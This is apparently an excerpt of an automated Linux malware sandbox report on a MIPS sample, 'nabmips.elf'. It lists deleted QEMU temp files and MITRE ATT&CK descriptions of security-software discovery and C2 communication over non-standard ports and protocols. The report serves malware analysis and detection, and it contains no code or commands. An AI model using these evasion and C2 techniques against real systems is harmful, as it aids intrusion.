/tmp/qemu-open.8j8omZ (deleted)

/tmp/qemu-open.8vKhKY (deleted)

/tmp/qemu-open.96W2QW (deleted)

/tmp/qemu-open.9GjSPW (deleted)

/tmp/qemu-open.9aWEIZ (deleted)

/tmp/qemu-open.ApaHtX (deleted)

/tmp/qemu-open.D3SrjX (deleted)

/tmp/qemu-open.E9H5sY (deleted)

/tmp/qemu-open.GXP0yZ (deleted)

/tmp/qemu-open.I1JufX (deleted)

/tmp/qemu-open.ISxU4Y (deleted)

/tmp/qemu-open.IaeIqV (deleted)

/tmp/qemu-open.IkDKOV (deleted)

/tmp/qemu-open.JaX3PW (deleted)

/tmp/qemu-open.K09cCX (deleted)

/tmp/qemu-open.KC7sbX (deleted)

/tmp/qemu-open.KQV8iY (deleted)

/tmp/qemu-open.L1R7VY (deleted)

Linux Analysis Report
nabmips.elf

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre